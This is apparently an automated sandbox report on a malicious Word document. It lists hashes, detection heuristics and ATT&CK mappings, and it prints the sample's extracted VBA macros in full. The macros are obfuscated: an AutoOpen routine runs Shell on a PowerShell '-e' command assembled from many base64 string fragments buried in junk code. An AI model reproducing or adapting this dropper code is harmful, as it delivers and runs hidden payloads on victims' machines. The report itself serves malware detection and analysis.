Office (OLE) malware analysis — malicious · 076b70645074ab55

MALICIOUS

Office (OLE)

92.8 KB Created: 2018-06-12 17:22:00 Authoring application: Microsoft Office Word First seen: 2018-06-21

MD5: b74b954c08f158edebe3c418d17157c9 SHA-1: 3749ce7fdccec58d5bc2f125cf5aeafae208d6f9 SHA-256: 076b70645074ab55b7c0bcd8402b735b2326e37e21b089e2f1f453bddd43cbc9

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros. The Autoopen macro and a function named ckLZYU both contain calls to the Shell function, indicating an attempt to execute arbitrary commands. This is a common technique for downloading and executing further malicious payloads. The ClamAV detection also confirms its malicious nature.

Heuristics 7

ClamAV: Doc.Dropper.Agent-6582780-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6582780-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

iaWTj = Tan(64041)
ckLZYU = DhbDLTI + Shell(RQcAwz + Chr(JiRstaRPXw + vbKeyP + AiOjzuDAR) + "owers" + KaBvOPQlMSz + kQjwNPP + nifDwHm + svzbnK + LJPmoZGA, 14365 - 14365)
zQvNtr = Tan(5874)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12730 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12730 bytes
SHA-256: `34c1e3edff6040fa3238d2fd0e1163fff5e26c77ead2c4e3ae90b56e6a2c327b`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "WXdpdICziHHD" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function ckLZYU() On Error Resume Next zYOWVB = Tan(21204) HMpmcC = jpowo YMsWE = CDbl(TZTEU) wVjrRz = zrbiV XfLEj = Hex(FSubL * ChrW(AQirK + Int(HUvjjm * Rnd(85094)) * pwpMw * Log(58907 * NjnHU - kPYBuX + Fix(51)))) QiTHj = Tan(76001) ANqzZM = Tan(13971) Idiihw = kvkpAX WflOW = CDbl(GchfJ) WApnh = jFGvT pWizX = Hex(qmCvq * ChrW(NKpzY + Int(vCUccm * Rnd(89941)) * DjUSz * Log(52715 * VYAdJ - KoWCb + Fix(51)))) iaWTj = Tan(64041) ckLZYU = DhbDLTI + Shell(RQcAwz + Chr(JiRstaRPXw + vbKeyP + AiOjzuDAR) + "owers" + KaBvOPQlMSz + kQjwNPP + nifDwHm + svzbnK + LJPmoZGA, 14365 - 14365) zQvNtr = Tan(5874) TJSkv = zslpV alNwa = CDbl(dQhjN) lYcvZL = lFprf Rftih = Hex(iKSzNC * ChrW(msOmim + Int(izXnDT * Rnd(50136)) * kJluiu * Log(16859 * jlzwj - SYOscZ + Fix(51)))) XTGEi = Tan(48378) End Function Sub Autoopen() On Error Resume Next HGbOK = Tan(90331) JOTUCd = iAiqM jwZKq = CDbl(VMpfp) VpOdKk = oCJKuY vrsTXO = Hex(XmJhQ * ChrW(JZNTj + Int(UjnIAp * Rnd(96152)) * YwWoi * Log(73216 * FiUWH - dwDEwu + Fix(51)))) bOppa = Tan(30315) ckLZYU tHird = Tan(49002) zYPUC = IEvtzb rikDE = CDbl(ldJJhO) hWzvc = iRfZnk QEWTvs = Hex(MMLXfn * ChrW(ofoPiG + Int(wmHzRE * Rnd(88173)) * LJwSKi * Log(62739 * pNoPC - KZPoK + Fix(51)))) lrKEiG = Tan(39020) End Sub Attribute VB_Name = "OUinEaBCa" Function KaBvOPQlMSz() On Error Resume Next DppnNo = Tan(95376) wGjnK = aXDvTw QVYrw = CDbl(pOkjzw) FYKQi = kKwrw zVqVRP = Hex(komTQ * ChrW(RpIHOZ + Int(qqYCNm * Rnd(24833)) * NtSic * Log(89183 * dwtSRd - fSEtU + Fix(51)))) RcDjR = Tan(22865) BpTEstuZ = "HeLL -e aQBOAFY" + "ATwBr" + "AGUALQBlAHgAc" + "ABSAGUAcwBzA" + "GkATwBO" + "ACAAKABuA" GwoIf = Tan(4131) XuToo = SMJNw HfLFz = CDbl(Svukq) NQoshK = nPSokz FSwFS = Hex(mJEaur * ChrW(oMGPmE + Int(bXNaiz * Rnd(54301)) * soqbG * Log(64991 * AwpRB - DMNzpT + Fix(51)))) aJDBfO = Tan(77357) vSYDhOw = "GUAdw" + "AtAE" + "8AQgBKAGUA" + "YwBUA" + "CAAIABJAG8ALgB" FXaTNd = Tan(33000) jTkIa = JZUCn Lzdpf = CDbl(ijkpvr) juYPwo = mvdiE XOzdj = Hex(bQWFul * ChrW(iuifuX + Int(PtRkKW * Rnd(28039)) * kPVwk * Log(40043 * UjHIS - dKoii + Fix(51)))) GZEQi = Tan(13680) RwYGTYK = "jAE8" + "ATQBwAHI" + "AZQBzA" + "FMASQBP" + "AG4ALgBEAG" + "UAZgBMA" + "EEAVABlAHMAVAB" + "yAEUAYQ" + "BNACg" + "AWwBzAHkAUwB0" vdwOT = Tan(20189) HfHkw = TaawY EdmjcG = CDbl(MIujwm) YZiXUo = EHzDEi rjwGsv = Hex(hJuUI * ChrW(wGNzIz + Int(ctwDd * Rnd(69028)) * AVofXY * Log(6644 * cwaGr - qQjCMB + Fix(51)))) zuwuHd = Tan(882) IfDBIBPw = "AGUAbQAu" + "AEkATwAuAE0AZ" + "QBtAG8AcgB5" + "AFMAVAB" + "yAGU" jvcIGB = Tan(23385) Owjjd = RYBGPl MARiqC = CDbl(qlQvCX) Azzkni = UGcSWT ZsBOOT = Hex(uLaQw * ChrW(ddjojF + Int(QbEVbH * Rnd(64798)) * toQUiz * Log(32797 * OjoEVF - XUotRr + Fix(51)))) omQiNw = Tan(78006) pbtTz = "AYQBNAF0" + "AIABbA" + "HMAW" + "QBzAHQARQBNAC4" mHmiBX = Tan(19486) PnMlRH = BQKojB NPBTzi = CDbl(AjSDi) jSqEPN = ZFFFI uPSDJH = Hex(ztWdhX * ChrW(tPEuhj + Int(LjZFZ * Rnd(37488)) * NIKvKT * Log(68917 * ijIvDu - vNXshi + Fix(51)))) BKYZS = Tan(67588) kYXEFjsuzZ = "AQ" + "wBvAE4AVgBF" + "AH" + "IAVABdADoAO" + "gBGAHI" KaBvOPQlMSz = BpTEstuZ + vSYDhOw + RwYGTYK + IfDBIBPw + pbtTz + kYXEFjsuzZ End Function Function kQjwNPP() On Error Resume Next tzkoCm = Tan(71406) iWDwF = XllfTX MijmwD = CDbl(zXlAA) piYHB = CkfAo ZcdZmt = Hex(LtjPDB * ChrW(idMKl + Int(vwspN * Rnd(57661)) * KVDhhs * Log(2534 * biZls - pNITU + Fix(51)))) zaYYU = Tan(29774) zzZRbUfmVKB = "Abw" + "BNAEIAYQ" + "BzAEUA" + "NgA" + "0AFMA" + "dABSAEkAbgBnACg" + "AIAAnAFYAWgBE" + "AG" + "IAVABz" + "AE" pakoMI = Tan(28121) ppzhLA = GzmZsB ljVsY = CDbl(kzfMSG) wqpNc = MzXIlJ RTYmv = Hex(kjoAS * ChrW(kjEsK + Int(PEojPJ * Rnd(47649)) * PoGNbk * Log(68177 * QRYtR - WcJqXt + Fix(51)))) wIHMVW = Tan(8526) lbzRQGRXfjk = "oAQQBFAEkAWgBmA" + "FoAU" + "wArA" + "GEAdABFAFMANgBC" + "AFUAUwBpAE4AaQB" + "ZAGUAawBBAEM" + "AQwBwAD" lDPNz = Tan(14094) cbZikQ = nTRVT LWZmfD = CDbl(jzAFN) CiNJjR = bAiQoI fUnvAC = Hex(EOich * ChrW(oOdaUU + Int(OlZKl * Rnd(7397)) * HLoIzX * Log(52776 * MLFELI - QjjwWz + Fix(51)))) WIwUC = Tan(26491) DhrNElYZf = "UAcQBvAHgATQBSA" + "HMAMgA1AEUA" + "dQBsA" + "EoAMQBtA" udKwXO = Tan(86310) VfKUCC = VPJwP qdnhf = CDbl(ofLcUN) RivIou = qNBnB KFnjLG = Hex(YEzXOr * ChrW(EuKCq + Int(JliZH * Rnd(40619)) * Kidcz * Log(61719 * kjsiRO - TMjXt + Fix(51)))) ZBwDwz = Tan(90281) OLEKissw = "E8ANgBV" + "AGMA" + "dwByAHU" + "ANwBL" + "AE" + "MAYgAyAFoAcABQ" + "AFoALwA1AHUAWgB" + "6AEcAZABkAE" + "QAWg" YWNZqD = Tan(75737) aWYiJj = Cfkcq YzCNYc = CDbl(iadBl) LMiFbK = ZmMzLn jtXNVE = Hex(AWLMRa * ChrW(LAsWzP + Int(HXaJR * Rnd(27967)) * mmCBk * Log(74950 * oCQfhv - qTsKk + Fix(51)))) NlUdOY = Tan(34323) EiZicRs = "A3AG" + "YAM" + "wAvAHIAcwBnAG" + "kAawBvAFgAUQB4A" + "G4ARQ" + "BCAE" + "gAV" VzEEp = Tan(66217) kJKjn = WwcqQ MREhz = CDbl(QCASZn) VETEL = rMzFKh wzqnrm = Hex(EFGQQF * ChrW(ZfNRk + Int(USzDt * Rnd(33409)) * YGPMu * Log(99803 * kTMMa - qHQzCo + Fix(51)))) EShjn = Tan(49828) zinToSFaLv = "ABRAHMAVwA0A" + "DgA" + "SwAzAE" + "YA" + "ZABhACsA" + "MwBxAFUAY" + "gBCAE8AaQB" + "kAFkAOA" IiAmu = Tan(50211) ZzpuW = jnGTA zjMCzB = CDbl(LLGZf) UpNFT = SAPQK CjYVRM = Hex(iwciw * ChrW(AloOLT + Int(JWBbW * Rnd(63898)) * uiqhQC * Log(53509 * UhpttL - bsKQdS + Fix(51)))) imDzlQ = Tan(62370) sGTUzrNjEP = "BIAHMAZwAvAGcAc" + "gBoAFQ" + "AUwBwAE" + "IAaw" + "BXAD" kQjwNPP = zzZRbUfmVKB + lbzRQGRXfjk + DhrNElYZf + OLEKissw + EiZicRs + zinToSFaLv + sGTUzrNjEP End Function Function nifDwHm() On Error Resume Next wzjZTA = Tan(12864) NtADQH = SZMMu QFDUG = CDbl(DiSQL) pkqJU = vUzzWd WWNlX = Hex(DlVjt * ChrW(FNzDQv + Int(pmbWiI * Rnd(10108)) * QZLTj * Log(50373 * jhpsu - HiUEzd + Fix(51)))) iwRhB = Tan(87584) cQruan = "kAdABSAHAA" + "TQBOADUAWQBh" + "ADAARQA" + "2AEwAcwA" + "zAFAAUABLAHMAd" + "QBTAHQAUgB2" + "AE4ARQ" + "BrAEUAdQBKAEwA" + "dAB4AEUAegBvAE" cvzfdS = Tan(8551) MKNKGA = PNXAlh GSkiq = CDbl(RHdRpm) ohJPbm = SJqmX AjEKB = Hex(GTohu * ChrW(cOVEhv + Int(UXpiD * Rnd(14239)) * wNpzc * Log(96360 * bpiDS - hfIzA + Fix(51)))) RzYzN = Tan(54260) HunjbIzvpIJ = "YASAB" + "1AF" + "AARABHAHkAKwB" + "WAE0AV" + "AB5" + "AGIAZQA1AFQAO" + "AB3AHgASgB6AGs" RCrLAA = Tan(6326) IsirEw = BYmBOf oOqioq = CDbl(ZOcVh) EjiiCP = YmiHvR zANMNO = Hex(OdUSLN * ChrW(iiBWX + Int(mStEw * Rnd(98642)) * OBjinW * Log(29896 * ZBPHSB - FJPqCk + Fix(51)))) IclXBo = Tan(60314) jFnCiDID = "AZgBCAD" + "kAeg" + "BqAFYANQBuA" + "GoAbwBPAFcAeg" + "BDAHEARQBp" + "AEkAVQBTAE" + "oAWQBRADUASQB" + "GAGQAQQ" + "BYAG" + "sAUABPAGIAcABZA" JNOWR = Tan(24844) mfozbJ = lOFPwM oIzIXt = CDbl(zPVbw) rCtvk = MXkBEI iqWSls = Hex(WUFRO * ChrW(TmoPTW + Int(qljVJf * Rnd(36342)) * MDGsz * Log(83175 * Pawkj - wWzchr + Fix(51)))) ZiUii = Tan(56301) dCdCRZIoV = "FYAbwBvADAARgB" + "4AFkAagA2" + "AEoAdwA1AFUAZAA" + "5AGcA" + "ZgBWAFUAZgB" + "FAGsATQBs" + "AFUAawBFAFIA" nifDwHm = cQruan + HunjbIzvpIJ + jFnCiDID + dCdCRZIoV End Function Function svzbnK() On Error Resume Next sHBJFZ = Tan(35457) RwYPB = XOTin uOmtc = CDbl(JbdiXK) BVIZn = JKlFwD pECUB = Hex(ubwiVH * ChrW(RPrjia + Int(tAjOp * Rnd(61087)) * dqIJn * Log(79832 * zEYJh - QuErn + Fix(51)))) GMtTF = Tan(43217) SIsLpmlt = "MQBmAE0A" + "cAAxADQAW" + "ABXAHYAM" + "gBoAHYAUAA1A" + "GsARwBX" + "AFM" qZoVn = Tan(59769) vQknU = SXSLSX Czwvr = CDbl(XZrkXD) OzkKjl = LczKQW wiuiB = Hex(UWsasd * ChrW(HwEjN + Int(hTSmHc * Rnd(63531)) * qZwniU * Log(43777 * qwBVV - sHJSF + Fix(51)))) WPYSz = Tan(61633) YdCwG = "AbgBMAHMA" + "UwA3AHYAbQBXAH" + "oASw" + "A1AGUAeQAvAE4A" + "RQBkAGEAdgBFAH" ljvnGU = Tan(75681) wtnNJp = FHfrPP LdoWHX = CDbl(Bjqwfl) uIvBin = NWEwjo QnGRZ = Hex(USwjM * ChrW(CuNwO + Int(DpKwjp * Rnd(62422)) * iwGkaX * Log(66308 * ktkhG - YbKLpS + Fix(51)))) BzZpSj = Tan(98345) iBHwPnKn = "oATg" + "BxAFI" + "AVQ" + "A2AHoAeg" + "BwAHEAbgBqAG" + "MANQBaAHk" SDQkzf = Tan(41729) OIohl = UMjXc ioYAO = CDbl(dzjuIr) SSqTzI = CPvCAk riNIuE = Hex(QdiQWH * ChrW(WfUAz + Int(TrisjP * Rnd(61307)) * TtVAd * Log(82790 * UTlNnA - pLDaB + Fix(51)))) jkbCDl = Tan(62407) QmskLUJRNio = "AdwBDAFQAY" + "wBOA" + "FoALwBLAFAA" + "WQBFAHE" + "ATwBXADUA" + "OA" + "BaAEMAeABJADIA" AUZfYU = Tan(95218) JQsQQC = inKzR TpIOl = CDbl(iSTzsK) TzMhOj = FBnik dYsOto = Hex(whfQR * ChrW(nORpSA + Int(iiMWG * Rnd(90570)) * MzRBa * Log(55884 * DKaFE - vpmUw + Fix(51)))) ctpnM = Tan(39344) EURzdhqwt = "WgAvADIATwBZADk" + "ATgBK" + "AHUAUwB3AHcAcA" + "BzAC8AdwBzADE" + "AaQBDAGgAeAB" fwuMVI = Tan(96041) CzPdp = djErkO Kpwsaq = CDbl(XXKFh) zJIwEw = jtpXr awKlw = Hex(FlVJwT * ChrW(RfzipK + Int(zrUaGm * Rnd(77038)) * PQzYB * Log(39279 * TNmOd - GcAKiJ + Fix(51)))) ahOAMv = Tan(16484) KdXiwK = "yAEsARgA4AHcAUw" + "BmAE4AcABH" + "AEkASABTA" + "DcAVQB0AD" + "YAZ" + "gBYADIAMQB5AD" + "MAdgBZAHE" + "AbABTAE" + "YASA" + "BGAFAAcAB2AEQAS" ijiJnw = Tan(41892) JZSaC = lsbjT OTQbcJ = CDbl(iCzMFL) pdHEqf = YrkLjc vVZfb = Hex(VLTCj * ChrW(OnBKNM + Int(WWIkW * Rnd(82303)) * FqcfPt * Log(63189 * mjZjd - KdJEYL + Fix(51)))) zWjWw = Tan(39469) SfsqdwC = "AA" + "4AGg" + "AYwBNAFMARQBzA" + "DEAZABXA" snlDo = Tan(75686) iiomm = vAVkhi Lswjz = CDbl(XIUvJR) aZwvW = qijuVR OVwAwp = Hex(AuApE * ChrW(KPDKn + Int(VNWVCZ * Rnd(26000)) * smfzcO * Log(23264 * CLTwT - ZjZJq + Fix(51)))) hafWH = Tan(82224) miNKTsqzJCS = "HAAMQBkAHQA" + "aABaADgAdwBNAF" + "MAbQ" + "B0AHgASABqAFIAS" + "ABrACsAZAArADM" + "ASAA1AG" + "8AdABjADMAOAB" + "YAEMAWQB" Yszubj = Tan(405) NPDMq = tNrqpL oqwsj = CDbl(HRGJqm) nYCRs = TdLRW AYnMnf = Hex(fbkCD * ChrW(snsGH + Int(NaXFV * Rnd(22638)) * wZrrcY * Log(49800 * iXUETd - GrDVw + Fix(51)))) AcbXE = Tan(22174) AJjuif = "xAFMAYgBhA" + "GsAbABnAF" + "oAcwBZAG0AOAB6" + "ADYANQ" + "BMAGUAcgBDAEwAT" + "AA5AHYAWA" + "B4AHMATwB" + "zAFEAVQAvAE4A" + "MwB1" svzbnK = SIsLpmlt + YdCwG + iBHwPnKn + QmskLUJRNio + EURzdhqwt + KdXiwK + SfsqdwC + miNKTsqzJCS + AJjuif End Function Function LJPmoZGA() On Error Resume Next WdTRB = Tan(26370) snjHdd = JPYBo oUfCzN = CDbl(wzQTY) QZFEC = FzfSI sUIqMC = Hex(QjUCz * ChrW(RnCiu + Int(PjPNj * Rnd(6931)) * WziiJ * Log(3041 * GHsBH - NzIdwX + Fix(51)))) nkQCP = Tan(70917) BkjzT = "AEcAd" + "wA9AD0AJwApA" + "CwAW" + "wBTAF" + "kAcwB" + "UAEUAbQ" + "AuAEkAbwAuA" + "EMA" + "bwBNAF" sMcHbn = Tan(1118) YhEKAZ = KuAaJ RamQJ = CDbl(XlhjPY) fuilZ = khZbY WidZVB = Hex(bmalqq * ChrW(rcuqB + Int(muuPjI * Rnd(51802)) * YbszN * Log(60064 * MuMMib - UEInvH + Fix(51)))) ImiZjz = Tan(54321) NtQCZj = "AAUgBFAFMAcwBp" + "AG8ATg" + "AuAEMAb" + "wBNAFAAcgB" OsMaiD = Tan(19985) mcLffi = iWOpap sNTdQ = CDbl(JZijKY) TzEstJ = WKkcz EEDVJ = Hex(wIAwH * ChrW(mVYMw + Int(UGDPiS * Rnd(41524)) * QSjhdq * Log(61329 * lFVJWI - WTAwnG + Fix(51)))) wKMEIq = Tan(43093) PHwNRbV = "FAF" + "MAcwBpAE8" + "ATgBNAG8A" + "ZAB" + "FAF0AO" + "gA" + "6AEQARQBjAE8" + "AbQBw" ZlzNlf = Tan(48832) VQZwk = qpILj viVioc = CDbl(YVYip) wfkJI = uzAff KEfTW = Hex(zKptvP * ChrW(YILAz + Int(ikcnnF * Rnd(61902)) * nljvwp * Log(39529 * XpFwcl - iDkUsj + Fix(51)))) jwDiz = Tan(56523) TkzYOwrvd = "AFIAZQBTAFMAKQB" + "8ACAAZg" + "BvAHIAZQBhAGMA" + "SAB7ACAAb" + "gB" + "lA" + "HcALQBPAEIA" + "SgBlAGMAVAAg" + "ACAAaQBPAC4Acw" + "B0" QrNqwJ = Tan(47781) zwZwu = VvwUzG kCkoPY = CDbl(mrQsr) HzrHfb = YFovv dNBFOz = Hex(kjpdC * ChrW(lWTGjh + Int(wdYEq * Rnd(79473)) * AZfNp * Log(86262 * uplmCt - MbIOF + Fix(51)))) qjEwIO = Tan(80193) qwXPSt = "AHIARQBBAE0AUg" + "BlAEEAZ" + "ABFAHIAKAAgAC" + "QAXwAgACwAIA" + "BbAFMAW" + "QBTAHQAZQBt" zpwOYc = Tan(44048) AbnJG = hhUinl CPqlrj = CDbl(UjFbD) uAoYdQ = Bahavr CXiiaD = Hex(zZGch * ChrW(FpUVLG + Int(vhtvA * Rnd(43785)) * kciPqA * Log(63086 * zCbBz - zaiwvU + Fix(51)))) MGLPoT = Tan(6763) uQjVj = "AC4A" + "VABlAFgA" + "VAAuAGUAT" + "gBjAG8ARA" + "BJAG4ARwBdADo" didDO = Tan(40818) qrlhP = rSuKHu GLzECz = CDbl(WXzBj) uTTzzk = ckqKO AUoRF = Hex(YEOSiY * ChrW(RzwSr + Int(AmwXww * Rnd(24530)) * mVVUp * Log(81556 * zDiGuT - YfBkZ + Fix(51)))) SKiRzZ = Tan(26546) JLzuZTXQU = "AOgBBAFMAQ" + "wBpAGkAIA" + "ApAH0AIAA" + "pA" + "C4AcgBFAGEAZABU" + "AG8AZQB" + "OAEQAKA" EwpUs = Tan(20273) jtwtiC = uQMwQ ORWOXQ = CDbl(brEUP) jsGslC = WplCq twQNED = Hex(VDmaa * ChrW(cGKrod + Int(FWbnXb * Rnd(89347)) * WYfTX * Log(62103 * FKdzR - HcGfR + Fix(51)))) ZCLzwZ = Tan(24926) oBWGDRzpB = "ApACAA" LJPmoZGA = BkjzT + NtQCZj + PHwNRbV + TkzYOwrvd + qwXPSt + uQjVj + JLzuZTXQU + oBWGDRzpB End Function

SHA-256: 34c1e3edff6040fa3238d2fd0e1163fff5e26c77ead2c4e3ae90b56e6a2c327b

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "WXdpdICziHHD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function ckLZYU()
On Error Resume Next
zYOWVB = Tan(21204)
HMpmcC = jpowo
YMsWE = CDbl(TZTEU)
wVjrRz = zrbiV
XfLEj = Hex(FSubL * ChrW(AQirK + Int(HUvjjm * Rnd(85094)) * pwpMw * Log(58907 * NjnHU - kPYBuX + Fix(51))))
QiTHj = Tan(76001)
ANqzZM = Tan(13971)
Idiihw = kvkpAX
WflOW = CDbl(GchfJ)
WApnh = jFGvT
pWizX = Hex(qmCvq * ChrW(NKpzY + Int(vCUccm * Rnd(89941)) * DjUSz * Log(52715 * VYAdJ - KoWCb + Fix(51))))
iaWTj = Tan(64041)
ckLZYU = DhbDLTI + Shell(RQcAwz + Chr(JiRstaRPXw + vbKeyP + AiOjzuDAR) + "owers" + KaBvOPQlMSz + kQjwNPP + nifDwHm + svzbnK + LJPmoZGA, 14365 - 14365)
zQvNtr = Tan(5874)
TJSkv = zslpV
alNwa = CDbl(dQhjN)
lYcvZL = lFprf
Rftih = Hex(iKSzNC * ChrW(msOmim + Int(izXnDT * Rnd(50136)) * kJluiu * Log(16859 * jlzwj - SYOscZ + Fix(51))))
XTGEi = Tan(48378)
End Function
Sub Autoopen()
On Error Resume Next
HGbOK = Tan(90331)
JOTUCd = iAiqM
jwZKq = CDbl(VMpfp)
VpOdKk = oCJKuY
vrsTXO = Hex(XmJhQ * ChrW(JZNTj + Int(UjnIAp * Rnd(96152)) * YwWoi * Log(73216 * FiUWH - dwDEwu + Fix(51))))
bOppa = Tan(30315)
ckLZYU
tHird = Tan(49002)
zYPUC = IEvtzb
rikDE = CDbl(ldJJhO)
hWzvc = iRfZnk
QEWTvs = Hex(MMLXfn * ChrW(ofoPiG + Int(wmHzRE * Rnd(88173)) * LJwSKi * Log(62739 * pNoPC - KZPoK + Fix(51))))
lrKEiG = Tan(39020)
End Sub


Attribute VB_Name = "OUinEaBCa"
Function KaBvOPQlMSz()
On Error Resume Next
DppnNo = Tan(95376)
wGjnK = aXDvTw
QVYrw = CDbl(pOkjzw)
FYKQi = kKwrw
zVqVRP = Hex(komTQ * ChrW(RpIHOZ + Int(qqYCNm * Rnd(24833)) * NtSic * Log(89183 * dwtSRd - fSEtU + Fix(51))))
RcDjR = Tan(22865)
BpTEstuZ = "HeLL -e aQBOAFY" + "ATwBr" + "AGUALQBlAHgAc" + "ABSAGUAcwBzA" + "GkATwBO" + "ACAAKABuA"
GwoIf = Tan(4131)
XuToo = SMJNw
HfLFz = CDbl(Svukq)
NQoshK = nPSokz
FSwFS = Hex(mJEaur * ChrW(oMGPmE + Int(bXNaiz * Rnd(54301)) * soqbG * Log(64991 * AwpRB - DMNzpT + Fix(51))))
aJDBfO = Tan(77357)
vSYDhOw = "GUAdw" + "AtAE" + "8AQgBKAGUA" + "YwBUA" + "CAAIABJAG8ALgB"
FXaTNd = Tan(33000)
jTkIa = JZUCn
Lzdpf = CDbl(ijkpvr)
juYPwo = mvdiE
XOzdj = Hex(bQWFul * ChrW(iuifuX + Int(PtRkKW * Rnd(28039)) * kPVwk * Log(40043 * UjHIS - dKoii + Fix(51))))
GZEQi = Tan(13680)
RwYGTYK = "jAE8" + "ATQBwAHI" + "AZQBzA" + "FMASQBP" + "AG4ALgBEAG" + "UAZgBMA" + "EEAVABlAHMAVAB" + "yAEUAYQ" + "BNACg" + "AWwBzAHkAUwB0"
vdwOT = Tan(20189)
HfHkw = TaawY
EdmjcG = CDbl(MIujwm)
YZiXUo = EHzDEi
rjwGsv = Hex(hJuUI * ChrW(wGNzIz + Int(ctwDd * Rnd(69028)) * AVofXY * Log(6644 * cwaGr - qQjCMB + Fix(51))))
zuwuHd = Tan(882)
IfDBIBPw = "AGUAbQAu" + "AEkATwAuAE0AZ" + "QBtAG8AcgB5" + "AFMAVAB" + "yAGU"
jvcIGB = Tan(23385)
Owjjd = RYBGPl
MARiqC = CDbl(qlQvCX)
Azzkni = UGcSWT
ZsBOOT = Hex(uLaQw * ChrW(ddjojF + Int(QbEVbH * Rnd(64798)) * toQUiz * Log(32797 * OjoEVF - XUotRr + Fix(51))))
omQiNw = Tan(78006)
pbtTz = "AYQBNAF0" + "AIABbA" + "HMAW" + "QBzAHQARQBNAC4"
mHmiBX = Tan(19486)
PnMlRH = BQKojB
NPBTzi = CDbl(AjSDi)
jSqEPN = ZFFFI
uPSDJH = Hex(ztWdhX * ChrW(tPEuhj + Int(LjZFZ * Rnd(37488)) * NIKvKT * Log(68917 * ijIvDu - vNXshi + Fix(51))))
BKYZS = Tan(67588)
kYXEFjsuzZ = "AQ" + "wBvAE4AVgBF" + "AH" + "IAVABdADoAO" + "gBGAHI"
KaBvOPQlMSz = BpTEstuZ + vSYDhOw + RwYGTYK + IfDBIBPw + pbtTz + kYXEFjsuzZ
End Function
Function kQjwNPP()
On Error Resume Next
tzkoCm = Tan(71406)
iWDwF = XllfTX
MijmwD = CDbl(zXlAA)
piYHB = CkfAo
ZcdZmt = Hex(LtjPDB * ChrW(idMKl + Int(vwspN * Rnd(57661)) * KVDhhs * Log(2534 * biZls - pNITU + Fix(51))))
zaYYU = Tan(29774)
zzZRbUfmVKB = "Abw" + "BNAEIAYQ" + "BzAEUA" + "NgA" + "0AFMA" + "dABSAEkAbgBnACg" + "AIAAnAFYAWgBE" + "AG" + "IAVABz" + "AE"
pakoMI = Tan(28121)
ppzhLA = GzmZsB
ljVsY = CDbl(kzfMSG)
wqpNc = MzXIlJ
RTYmv = Hex(kjoAS * ChrW(kjEsK + Int(PEojPJ * Rnd(47649)) * PoGNbk * Log(68177 * QRYtR - WcJqXt + Fix(51))))
wIHMVW = Tan(8526)
lbzRQGRXfjk = "oAQQBFAEkAWgBmA" + "FoAU" + "wArA" + "GEAdABFAFMANgBC" + "AFUAUwBpAE4AaQB" + "ZAGUAawBBAEM" + "AQwBwAD"
lDPNz = Tan(14094)
cbZikQ = nTRVT
LWZmfD = CDbl(jzAFN)
CiNJjR = bAiQoI
fUnvAC = Hex(EOich * ChrW(oOdaUU + Int(OlZKl * Rnd(7397)) * HLoIzX * Log(52776 * MLFELI - QjjwWz + Fix(51))))
WIwUC = Tan(26491)
DhrNElYZf = "UAcQBvAHgATQBSA" + "HMAMgA1AEUA" + "dQBsA" + "EoAMQBtA"
udKwXO = Tan(86310)
VfKUCC = VPJwP
qdnhf = CDbl(ofLcUN)
RivIou = qNBnB
KFnjLG = Hex(YEzXOr * ChrW(EuKCq + Int(JliZH * Rnd(40619)) * Kidcz * Log(61719 * kjsiRO - TMjXt + Fix(51))))
ZBwDwz = Tan(90281)
OLEKissw = "E8ANgBV" + "AGMA" + "dwByAHU" + "ANwBL" + "AE" + "MAYgAyAFoAcABQ" + "AFoALwA1AHUAWgB" + "6AEcAZABkAE" + "QAWg"
YWNZqD = Tan(75737)
aWYiJj = Cfkcq
YzCNYc = CDbl(iadBl)
LMiFbK = ZmMzLn
jtXNVE = Hex(AWLMRa * ChrW(LAsWzP + Int(HXaJR * Rnd(27967)) * mmCBk * Log(74950 * oCQfhv - qTsKk + Fix(51))))
NlUdOY = Tan(34323)
EiZicRs = "A3AG" + "YAM" + "wAvAHIAcwBnAG" + "kAawBvAFgAUQB4A" + "G4ARQ" + "BCAE" + "gAV"
VzEEp = Tan(66217)
kJKjn = WwcqQ
MREhz = CDbl(QCASZn)
VETEL = rMzFKh
wzqnrm = Hex(EFGQQF * ChrW(ZfNRk + Int(USzDt * Rnd(33409)) * YGPMu * Log(99803 * kTMMa - qHQzCo + Fix(51))))
EShjn = Tan(49828)
zinToSFaLv = "ABRAHMAVwA0A" + "DgA" + "SwAzAE" + "YA" + "ZABhACsA" + "MwBxAFUAY" + "gBCAE8AaQB" + "kAFkAOA"
IiAmu = Tan(50211)
ZzpuW = jnGTA
zjMCzB = CDbl(LLGZf)
UpNFT = SAPQK
CjYVRM = Hex(iwciw * ChrW(AloOLT + Int(JWBbW * Rnd(63898)) * uiqhQC * Log(53509 * UhpttL - bsKQdS + Fix(51))))
imDzlQ = Tan(62370)
